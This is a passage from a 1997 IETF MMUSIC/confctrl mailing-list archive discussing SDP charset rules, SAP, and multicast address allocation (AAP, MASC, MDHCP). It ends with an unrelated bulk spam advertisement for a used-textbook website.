The changes clarify the use of ISO 10646 in SDP where the wording was
ambiguous, and the requirements on alternative character sets that may
be specified.  A few minor changes were also required to the spec:

- The BNF for attribute values was too restrictive.  This was an error;
  even some of the attributes described in the spec couldn't be
  represented!  It now allows the full UTF-8 encoded charset to be
  used for attribute-values.

- Some attribute values such as "keywds" really needed to be in the
  specified character set and some needed to stay in UTF-8 all the
  time.  Whether the charset for an atribute value changes when an 
  alternative character set is specified must be defined when the
  attribute is defined.  The default is that an attribute value is not
  dependent on charset.

- new (optional) attributes for SDP language and session language have
  been added so that SDP conforms to the requirements in
  draft-alvestrand-charset-policy-02.txt

Does anyone believe that these changes are sufficient to warrant a new
WG last call?  Personally I believe they're minor enough we can
re-submit the revised draft to Allyn for IETF last call.

Cheers,
	Mark


From confctrl-owner  Mon Nov 24 21:39:08 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA05231
	for confctrl-outgoing; Mon, 24 Nov 1997 21:39:08 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA05226
	for <confctrl@zephyr.isi.edu>; Mon, 24 Nov 1997 21:39:07 -0800 (PST)
Received: from mail-gw3.pacbell.net (mail-gw3.pacbell.net [206.13.28.55])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA01127
	for <confctrl@ISI.EDU>; Mon, 24 Nov 1997 21:39:05 -0800 (PST)
Received: from 206.171.32.33 (ppp-206-171-32-33.rdcy01.pacbell.net [206.171.32.33]) by mail-gw3.pacbell.net (8.8.8/8.7.1+antispam) with ESMTP id VAA16483 for <confctrl@ISI.EDU>; Mon, 24 Nov 1997 21:39:04 -0800 (PST)
Message-ID: <347A64AD.65B1150B@PacBell.Net>
Date: Mon, 24 Nov 1997 21:40:10 -0800
From: Ari Ollikainen <AriO@PacBell.Net>
Reply-To: ari@usa.net
Organization: OLTECO
X-Mailer: Mozilla 4.01 (Macintosh; U; PPC)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Re: Mail delivery failed: returning message to sender
X-Priority: 3 (Normal)
References: <E0xYw31-0005kx-00@mail1.es.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> 
> * SAP  -- We need to re-introduce SAP into the process
>           Also, a progress report on secure SAP seems desirable
> 

	Having left my files behind at a previous workplace, would someone kindly
	provide a pointer to an on-line ftp'able copy of SAP?

From confctrl-owner  Tue Nov 25 06:32:51 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA12552
	for confctrl-outgoing; Tue, 25 Nov 1997 06:32:51 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA12547
	for <confctrl@zephyr.isi.edu>; Tue, 25 Nov 1997 06:32:50 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA13068
	for <confctrl@ISI.EDU>; Tue, 25 Nov 1997 06:32:49 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id JAA02009; Tue, 25 Nov 1997 09:32:44 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: ari@usa.net
cc: confctrl@ISI.EDU
Subject: Re: Mail delivery failed: returning message to sender 
In-reply-to: Your message of "Mon, 24 Nov 1997 21:40:10 PST."
             <347A64AD.65B1150B@PacBell.Net> 
Date: Tue, 25 Nov 1997 09:32:43 -0500
Message-ID: <2007.880468363@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>> * SAP  -- We need to re-introduce SAP into the process
>>           Also, a progress report on secure SAP seems desirable
>> 
>
>	Having left my files behind at a previous workplace, would someone kind
>ly
>	provide a pointer to an on-line ftp'able copy of SAP?


YOu can get this and other MMUSIC documents from the MMUSIC archive:

ftp://ftp.isi.edu/confctrl/docs/

I'm going to produce a new SAP draft soon, reflecting the split of
functionality with address allocation moving to a new protocol (AAP).

Cheers,
	Mark

From confctrl-owner  Tue Nov 25 09:41:42 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA19132
	for confctrl-outgoing; Tue, 25 Nov 1997 09:41:42 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA19127
	for <confctrl@zephyr.isi.edu>; Tue, 25 Nov 1997 09:41:40 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA20790;
	Tue, 25 Nov 1997 09:41:37 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA01074; Tue, 25 Nov 1997 12:41:36 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA02245; Tue, 25 Nov 1997 12:41:30 -0500 (EST)
Message-ID: <347B0DCA.BCEF541B@cs.columbia.edu>
Date: Tue, 25 Nov 1997 12:41:30 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Mark Handley <mjh@ISI.EDU>, confctrl@ISI.EDU
Subject: Re: Mail delivery failed: returning message to sender
References: <2007.880468363@north.lcs.mit.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark Handley wrote:
> 


> 
> I'm going to produce a new SAP draft soon, reflecting the split of
> functionality with address allocation moving to a new protocol (AAP).

I think we should just send SIP INVITE requests via multicast, avoiding
the need for SAP altogether, and allowing more flexibility for future
upgrades in terms of session descriptions and the like.

> 
> Cheers,
>         Mark

From confctrl-owner  Fri Nov 28 01:06:53 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA12055
	for confctrl-outgoing; Fri, 28 Nov 1997 01:06:53 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA12050
	for <confctrl@zephyr.isi.edu>; Fri, 28 Nov 1997 01:06:51 -0800 (PST)
Received: from arthur.axion.bt.co.uk (mailhub.axion.bt.co.uk [132.146.5.4] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id BAA05380
	for <confctrl@isi.edu>; Fri, 28 Nov 1997 01:06:49 -0800 (PST)
Received: from ferao.jungle.bt.co.uk by arthur.axion.bt.co.uk with SMTP (PP); Fri, 28 Nov 1997 09:05:24 +0000
Received: from morat.jungle.bt.co.uk by ferao.jungle.bt.co.uk (Jungle-SMTP-01) ID AA24353; Fri, 28 Nov 1997 09:03:55 GMT
Message-Id: <3.0.1.32.19971128090507.007f7be0@pop3.jungle.bt.co.uk>
X-Sender: rbriscoe@pop3.jungle.bt.co.uk
X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
Date: Fri, 28 Nov 1997 09:05:07 +0000
To: LSMA <lsma@gmu.edu>, IDMR <idmr@cs.ucl.ac.uk>, MMUSIC <confctrl@ISI.EDU>,
        BGMP_MASC <bgmp@catarina.usc.edu>
From: Bob Briscoe <rbriscoe@jungle.bt.co.uk>
Subject: [MALLOC] Paper: End to End Aggregation of Multicast Addresses
Cc: rm@mash.cs.berkeley.edu, "Tatham, Martin" <martin.tatham@bt-sys.bt.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

LSMA, IDMR, MMUSIC & BGMP/MASC lists,

[Please cc replies to me personally, as I'm not on all these lists.
Apologies for this cross-posting: I guess if an IETF MALLOC group gets off
the ground it won't be necessary.]

I had an idea in early Oct for multicast address aggregation which we've
written up and just "published" at:
http://www.labs.bt.com/people/briscorj/projects/lsma/e2ama.html
21 pages

It was intended to be an Internet Draft, but I won't go into the stream of
system failures that made me miss the deadline by an hour and have stopped
me publishing it until today. If you would like .ps or .txt format copies
before the I-D system re-opens on 7 Dec, these are at:
http://www.labs.bt.com/people/briscorj/projects/lsma/draft-briscoe-ama-00.ps
http://www.labs.bt.com/people/briscorj/projects/lsma/draft-briscoe-ama-00.txt

It won't be possible to present this at Washington (I'm elsewhere), so I'd
appreciate comments or requests for clarificaton by e-mail.

End to End Aggregation of Multicast Addresses
=============================================
Abstract

This paper presents an approach for solving the inherent problem with
multicast
routing scalability - by co-operation between end-systems and the network.
We introduce an extremely efficient, elegant way to name arbitrary sized
inter-meshed aggregations of multicast addresses. This is done in such
a way that it is easy to calculate how to change the name to encompass
many more related names. We describe how these aggregate names could be
used anywhere in place of the set of addresses to which they refer, not
by resolving them into multiple operations, but by a single bulk action
throughout the routing tree, and in session descriptions potentially including
those for reservations. Initial aggregation in end-systems might only reduce
the problem by an order of magnitude, but it is believed that this will
provide sufficient structure for routers to be able to recognise further
aggregation potential. To improve the chances of router aggregation,
address set allocation schemes must fulfil certain criteria that are laid
down in this paper.

Bob


________________________________________________________
Notice: This contribution is the personal view of the 
author and does not necessarily reflect the technical nor 
commercial direction of British Telecommunications plc.
________________________________________________________
Bob Briscoe      http://www.labs.bt.com/people/briscorj/

From confctrl-owner  Sat Nov 29 22:52:29 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA08689
	for confctrl-outgoing; Sat, 29 Nov 1997 22:52:29 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA08684
	for <confctrl@zephyr.isi.edu>; Sat, 29 Nov 1997 22:52:28 -0800 (PST)
Received: from proxy3.ba.best.com (root@proxy3.ba.best.com [206.184.139.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA13272
	for <confctrl@isi.edu>; Sat, 29 Nov 1997 22:52:27 -0800 (PST)
Received: from mg134-008.ricochet.net (mg134-008.ricochet.net [204.179.134.8]) by proxy3.ba.best.com (8.8.7/8.8.BEST) with SMTP id WAA19689; Sat, 29 Nov 1997 22:51:03 -0800 (PST)
Message-Id: <3.0.5.16.19971129225030.529726b2@shell7.ba.best.com>
X-Sender: rsf@shell7.ba.best.com
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (16)
Date: Sat, 29 Nov 1997 22:50:30
To: malloc@catarina.usc.edu
From: Ross Finlayson <finlayson@lvn.com>
Subject: Multicast address allocation - initial comments
Cc: confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark et al,

I've just read the document "The Internet Multicast Address Allocation
Architecture" (http://north.east.isi.edu/malloc/malloc-arch.ps).

Overall I think this is good stuff, and definitely in the right direction
(although the title's a bit presumptious - at this stage it should really
be "*An* Internet..." :-).  It will definitely be valuable for the
prospective WG to define an intermediate protocol ("AAP") that provides a
single, well-defined layer sandwiched between (i) applications that wish to
allocate multicast addresses, and (ii) any courser-level allocation that
may be done higher up in the network (e.g., for inter-domain multicast
routing).  I see this as being one of the two primary goals of the WG.

One point where I suspect I may disagree with the authors concerns the
lowest-level protocol - the one that applications would use to communicate
with AAP.  I view such a protocol - "MDHCP" or otherwise - as being purely
optional.  Nothing should preclude implementations from using some other
mechanism to interact with the AAP layer.  For example, some implementors
may wish to include an AAP module (what you call a "MAAS server") as part
of the OS - perhaps just as a shared runtime library.  In this case,
applications would interact with the AAP layer using procedure calls only -
not IP.

[In multikit, for example, I'll likely have an AAP implementation built in.
 Then the user will be able to inspect the current set of address claims
inside a directory window - just like regular session announcements!]

I believe the second primary goal of the WG should be to develop an *API*
for applications to use for allocating/deallocating multicast addresses.  I
realize that the IETF doesn't usually produce APIs, but there are
exceptions - e.g., the socket API for IPv6.  Multicast address allocation
is another situation where it would be valuable for us to produce an API -
for the C language at least.  This would allow application writers to not
have to worry about the particular platforms on which their applications
will run, while giving the implementors of these platforms flexibility in
how they interact with AAP.

With these two goals - AAP and an allocation/deallocation API - being
primary goals of the WG, secondary goals would include:
3/ 'Back end' protocols that AAP would use for courser-level allocation.
Right now you're talking about just one of these - MASC - although it's
conceivable that down the road there might be more (e.g., if some
completely new inter-domain multicast routing protocol were to come along
in addition to BGMP).
4/ One or more protocols - sitting between the applications and AAP - that
could *possibly* be used to implement the API.  For example, MDHCP.

In any case, the development of a standard multicast-based intermediate
allocation protocol - "AAP" - will be a valuable contribution.  I haven't
yet seen the details of an AAP proposal, so my next comments are somewhat
"shooting in the dark":

- Because multicast address allocation is something that will be done by
potentially untrusted applications, it's important that the AAP layer be
able to handle an (intentional or unintentional) denial of service attack,
in which an application sits in a loop, allocating one address after
another (but not reclaiming them).  (Come to think of it, it's not just
applications that might be 'byzantine'; other AAP modules might be as
well.)  AAP needs to be able to deal with this.

- An AAP module should (perhaps optionally) be able to 'pre-claim' a small
set of addresses in advance of any request from an application, so that an
application's address allocation request can - in the common case - be
satisfied immediately.  (It's conceivable that some future applications may
wish to be able to allocate multicast addresses very rapidly, and, if so,
we should try to accommodate this with "best effort".)

- In the past, Mark has noted the desirability of having AAP be similar to
SAP, especially wrt. the definition of security fields in the packet
definition.  I think this is a laudable goal.  In fact, I feel we should be
even *more* ambitious in defining common formats for a general "multicast
data architecture".  I may have more to say on this subject later on...

	Ross.


From confctrl-owner  Mon Dec  1 07:29:09 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA06370
	for confctrl-outgoing; Mon, 1 Dec 1997 07:29:09 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA06365
	for <confctrl@zephyr.isi.edu>; Mon, 1 Dec 1997 07:29:07 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA26585
	for <confctrl@ISI.EDU>; Mon, 1 Dec 1997 07:29:06 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id KAA12432; Mon, 1 Dec 1997 10:28:55 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Ross Finlayson <finlayson@lvn.com>
cc: malloc@catarina.usc.edu, confctrl@ISI.EDU
Subject: Re: Multicast address allocation - initial comments 
In-reply-to: Your message of "Sat, 29 Nov 1997 22:50:30."
             <3.0.5.16.19971129225030.529726b2@shell7.ba.best.com> 
Date: Mon, 01 Dec 1997 10:28:55 -0500
Message-ID: <12430.880990135@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>One point where I suspect I may disagree with the authors concerns the
>lowest-level protocol - the one that applications would use to communicate
>with AAP.  I view such a protocol - "MDHCP" or otherwise - as being purely
>optional.  Nothing should preclude implementations from using some other
>mechanism to interact with the AAP layer.  For example, some implementors
>may wish to include an AAP module (what you call a "MAAS server") as part
>of the OS - perhaps just as a shared runtime library.  In this case,
>applications would interact with the AAP layer using procedure calls only -
>not IP.

Yes, I agree with you here.  I would think that an application like
sdr might conceivably speak AAP directly.  However we also must bear
in mind that many applications (or even hosts) will want to start up
and grab an address immediately.  These apps need a well defined
mechanim to request an address, and that is what this lowest-level
protocol is intended to provide.

More on AAP later today...

Mark

From confctrl-owner  Mon Dec  1 07:50:30 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA06851
	for confctrl-outgoing; Mon, 1 Dec 1997 07:50:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA06840
	for <confctrl@zephyr.isi.edu>; Mon, 1 Dec 1997 07:50:29 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA27358
	for <confctrl@ISI.EDU>; Mon, 1 Dec 1997 07:50:27 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id KAA12770; Mon, 1 Dec 1997 10:50:19 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
cc: Ross Finlayson <finlayson@lvn.com>, malloc@catarina.usc.edu,
        confctrl@ISI.EDU
Subject: Re: Multicast address allocation - initial comments 
In-reply-to: Your message of "Mon, 01 Dec 1997 10:28:55 EST."
             <12430.880990135@north.lcs.mit.edu> 
Date: Mon, 01 Dec 1997 10:50:19 -0500
Message-ID: <12768.880991419@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>More on AAP later today...

I've put a link to a rough AAP draft from the MALLOC page:
http://north.east.isi.edu/malloc/

Nothing in this draft is final - consider it a brain dump!

The ASCII version is pretty poorly formatted - use the Postscript
version if you can.  If anyone has a reliable way to get good
formatted ASCII from latex I'd be interested :-)

Cheers,
	Mark

From confctrl-owner  Mon Dec  1 13:55:08 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA00553
	for confctrl-outgoing; Mon, 1 Dec 1997 13:55:08 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA00548
	for <confctrl@zephyr.isi.edu>; Mon, 1 Dec 1997 13:55:07 -0800 (PST)
Received: from proxy3.ba.best.com (root@proxy3.ba.best.com [206.184.139.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA18150
	for <confctrl@ISI.EDU>; Mon, 1 Dec 1997 13:55:06 -0800 (PST)
Received: from mg131-218.ricochet.net (mg131-218.ricochet.net [204.179.131.218]) by proxy3.ba.best.com (8.8.7/8.8.BEST) with SMTP id NAA07645; Mon, 1 Dec 1997 13:51:55 -0800 (PST)
Message-Id: <3.0.5.16.19971201135106.1b479bb6@shell7.ba.best.com>
X-Sender: rsf@shell7.ba.best.com
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (16)
Date: Mon, 01 Dec 1997 13:51:06
To: malloc@catarina.usc.edu
From: Ross Finlayson <finlayson@lvn.com>
Subject: Re: Multicast address allocation - initial comments 
Cc: confctrl@ISI.EDU
In-Reply-To: <12430.880990135@north.lcs.mit.edu>
References: <Your message of "Sat, 29 Nov 1997 22:50:30."             <3.0.5.16.19971129225030.529726b2@shell7.ba.best.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>>One point where I suspect I may disagree with the authors concerns the
>>lowest-level protocol - the one that applications would use to communicate
>>with AAP.  I view such a protocol - "MDHCP" or otherwise - as being purely
>>optional.  Nothing should preclude implementations from using some other
>>mechanism to interact with the AAP layer.  For example, some implementors
>>may wish to include an AAP module (what you call a "MAAS server") as part
>>of the OS - perhaps just as a shared runtime library.  In this case,
>>applications would interact with the AAP layer using procedure calls only -
>>not IP.
>
>Yes, I agree with you here.  I would think that an application like
>sdr might conceivably speak AAP directly.  However we also must bear
>in mind that many applications (or even hosts) will want to start up
>and grab an address immediately.  These apps need a well defined
>mechanim to request an address, and that is what this lowest-level
>protocol is intended to provide.

But let's not forget that the applications that wish to allocate multicast
addresses can be regular, "mom and pop" applications written by average
programmers - not just networking-savvy applications like "sdr" written by
gurus :-)  I hope you're not suggesting that every J Random Application
Developer who wishes to allocate a multicast address do so by writing his
own MDHCP client.

Because we're providing a mechanism that application developers will use,
we have to accept the fact that - in this one particular case - we're
venturing beyond the pure world of OS/router network interactions.  To
rephrase your statement above: Applications need a well defined *interface*
to request an address.  That's why I suggest that this WG define an API for
multicast address allocation/deallocation.  At the same time, it's
inappropriate for us to mandate how this API will be implemented,
especially in situations where this can be done so using intra-node
communication only.

If we accept that a node that performs address allocation using only its
own AAP implementation is completely interoperable (from a protocol point
of view), then we also have to accept that the use of MDHCP (or whatever)
is optional.

(As an aside, I think the point about applications wanting "to grab an
address immediately" is a red herring.  You already note that after an
address claim is made, there's a delay - at the AAP level - to ensure that
noone else has claimed it.  Thus, a client that uses MDHCP is going to
experience a delay at least as long as one that invokes the AAP level
directly.  In any case, as I noted in my last message, I think we should
investigate having the AAP level 'pre-claim' addresses, to reduce the
client latency in the common case.)

	Ross.



From confctrl-owner  Mon Dec  1 14:27:12 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA02514
	for confctrl-outgoing; Mon, 1 Dec 1997 14:27:12 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA02509
	for <confctrl@zephyr.isi.edu>; Mon, 1 Dec 1997 14:27:11 -0800 (PST)
Received: from dip.eecs.umich.edu (thalerd@dip.eecs.umich.edu [141.212.99.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA19683
	for <confctrl@isi.edu>; Mon, 1 Dec 1997 14:27:09 -0800 (PST)
Received: (from thalerd@localhost) by dip.eecs.umich.edu (8.8.5/8.8.0) id RAA13477; Mon, 1 Dec 1997 17:25:44 -0500 (EST)
From: Dave Thaler <thalerd@eecs.umich.edu>
Message-Id: <199712012225.RAA13477@dip.eecs.umich.edu>
Subject: Re: Multicast address allocation - initial comments
To: finlayson@lvn.com (Ross Finlayson)
Date: Mon, 1 Dec 1997 17:25:44 -0500 (EST)
Cc: malloc@catarina.usc.edu, confctrl@ISI.EDU
In-Reply-To: <3.0.5.16.19971201135106.1b479bb6@shell7.ba.best.com> from "Ross Finlayson" at Dec 1, 97 01:51:06 pm
X-Mailer: ELM [version 2.4 PL24 PGP1]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> >>One point where I suspect I may disagree with the authors concerns the
> >>lowest-level protocol - the one that applications would use to communicate
> >>with AAP.  I view such a protocol - "MDHCP" or otherwise - as being purely
> >>optional.
[...]

Yes, and conversely, other people may have no need for AAP (for example,
if they only have one MAAS in their domain, which speaks MDHCP and MASC).

> rephrase your statement above: Applications need a well defined *interface*
> to request an address.  That's why I suggest that this WG define an API for
> multicast address allocation/deallocation.  At the same time, it's
> inappropriate for us to mandate how this API will be implemented,

I agree with the above.

> I think we should
> investigate having the AAP level 'pre-claim' addresses, to reduce the
> client latency in the common case.)

I believe the current AAP draft does allow this, since several people have 
asked for it.

-Dave

From confctrl-owner  Mon Dec  1 18:09:41 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA15550
	for confctrl-outgoing; Mon, 1 Dec 1997 18:09:41 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA15545
	for <confctrl@zephyr.isi.edu>; Mon, 1 Dec 1997 18:09:39 -0800 (PST)
Received: from flipper.cisco.com (flipper.cisco.com [171.69.63.10])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA00756;
	Mon, 1 Dec 1997 18:09:36 -0800 (PST)
Received: (lwei@localhost) by flipper.cisco.com (8.8.4-Cisco.1/8.6.5) id SAA07631; Mon, 1 Dec 1997 18:09:00 -0800 (PST)
Date: Mon, 1 Dec 1997 18:09:00 -0800 (PST)
Message-Id: <199712020209.SAA07631@flipper.cisco.com>
From: Liming Wei <lwei@cisco.com>
To: mjh@ISI.EDU
CC: finlayson@lvn.com, malloc@catarina.usc.edu, confctrl@ISI.EDU
In-reply-to: <12768.880991419@north.lcs.mit.edu> (message from Mark Handley on
	Mon, 01 Dec 1997 10:50:19 -0500)
Subject: Re: Multicast address allocation - initial comments
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> From: Mark Handley <mjh@ISI.EDU>
> 
> I've put a link to a rough AAP draft from the MALLOC page:
> http://north.east.isi.edu/malloc/
> 
> Nothing in this draft is final - consider it a brain dump!

Mark and gang,

I skimmed through your architecture draft and found it more coherent
than an average brain dump :-). However, the following are some
comments from my perspective:

1) The address allocation efficiency seems to be suseptible to
   an avalance of address consumption at high usage levels
   of the multicast address space.

   A MASC node always needs to request more addresses from the higher
   layer of the hierarchy, _before_ its own pool is depleted.
   This means when the global address space is "near" depletion,
   whoever requested more aggresively would have an advantage
   over those conservative ones. This property may accelarate
   the consumption of the available address space, and may lead to
   premature adress starvation at a low address space usage point. I
   think the  architure needs to take this into consideration.

2) The concept of address lifetime is not clear. It is not clear what
   the actions are for those addresse still in use by an application,
   while their lifetimes are exceeded. Will those addresses be
   allocated to some other MAAS servers ?

   To avoid this problem, it may be beneficial for a MAAS server to
   hold on to addresses it has allocated. But the trouble is it can not
   know how long is sufficient unless the application explicitly
   "releases/returns" the address. 

3) With respect to the timeliness in getting an address, the wording
   makes you under suspecion for trying to declare a lower bound
   sufficient for all possible multicast applications.

   The ideal situation should be such that the delay a client gets
   an address is only affected by the implementation, speed of
   light etc, as opposed to a limitation imposed by the architecture.

-Liming

From confctrl-owner  Tue Dec  2 02:18:14 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA26630
	for confctrl-outgoing; Tue, 2 Dec 1997 02:18:14 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA26625
	for <confctrl@zephyr.isi.edu>; Tue, 2 Dec 1997 02:18:12 -0800 (PST)
Received: from smtp.abac.com (smtp.abac.com [208.137.248.30])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA17492
	for <confctrl@isi.edu>; Tue, 2 Dec 1997 02:18:11 -0800 (PST)
From: U.N.I.V.E.R.S.I.T.Y.T.E.X.T@smtp.abac.com
Received: from smtp.abac.com (la-ppp-109.abac.com [209.60.248.109])
	by smtp.abac.com (8.8.7/8.8.7) with SMTP id CAA20121;
	Tue, 2 Dec 1997 02:19:41 -0800 (PST)
Received: from mailhost.nowhere.com (alt1.nowhere.com (208.137.887.15)) by nowhere.com (8.8.5/8.6.5) with SMTP id GAA00064 for <>; Tue, 02 Dec 1997 01:49:32 -0600 (EST)
Date: Tue, 02 Dec 97 01:49:32 EST
To: Friend@public.com
Subject: NO   MORE   BOOKSTORE  !!!!!!!!
Message-ID: <14584.880943838@nowhere.com>
Reply-To: dj@universitytext.com
X-PMFLAGS: 34078848 0
X-UIDL: 45678912332145698521256985458200
Comments: Authenticated sender is <somi2aol.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


!!!!!   ATTENTION ALL COLLEGE STUDENTS    !!!!!!

PROBLEM: ARE YOU SICK & TIRED OF:
                                                    
       1   Waiting hours in line to purchase your textbooks? 
       2   Paying sales tax? 
       3   Waiting hours in line to sell back your textbooks,
           only to get  50% back of the purchased value,
           or even worse if there is an overstock you get nothing? 
                                        
SOLUTION: UNIVERSITYTEXT.COM WEBSITE
      A unique service on the Internet, offered to every college
      student in the World.   Its goal is to
      provide a central used textbook database on the Internet
      for the entire  college student  community,
      so that any student may
      BUY AND SELL TEXTBOOKS DIRECTLY TO
      ONE ANOTHER WITHIN THEIR COLLEGE.

UTILIZE:  UNIVERSITYTEXT.COM TO SAVE $$$$$$$
        Don't pay 100% retail for each textbook! 
        Don't lose 50% on each textbook that you sell back! 
        Don't wait in long lines ever again to buy or sell your textbooks! 
        No sales tax! 
                     
Advertise your used textbooks to other students in your college for what 
they're worth!  It only costs a buck ($1.00 processing) per textbook to
advertise on UNIVERSITYTEXT.COM. Buy your used textbooks
by viewing other students ads in your college on
UNIVERSITYTEXT.COM     for    FREE!!!    

HOW IT WORKS:
      1)   You advertise your BOOK FOR SALE by filling out a simple form. 
             The ad  is posted in  your college database for others to view.
      2)   To  BUY BOOKS you view other students ads, and get in touch 
             with them by using the  information they provided
             (e-mail, phone, etc.)
      3)    You can then meet on campus and complete the exchange.

Students who use this service could save hundreds of dollars a year.
As an example, on the average, a student purchases 4 textbooks 
per semester and pays approximately $50.00 per book, if not more,
totaling $200.00. When purchasing from the bookstore, you would 
pay 100% of the textbooks value instead of  75% 
(the recommended buy/sell percentage from UNIVERSITYTEXT.COM), 
which would equate to a $50.00 loss! At the end of the semester, when you
would try to sell your books back to the book store, you would receive
50% back of the purchased value, resulting in an additional $100.00 loss!
Thus, totaling a loss of $150.00 or more per semester! If you're on quarter
semesters, losses could result into $2400.00 or more per college education, 
not including the sales tax that everyone pays.

We welcome each college student  to take advantage
of this innovative service of saving both TIME and MONEY.

VISIT US AT UNIVERSITYTEXT.COM 

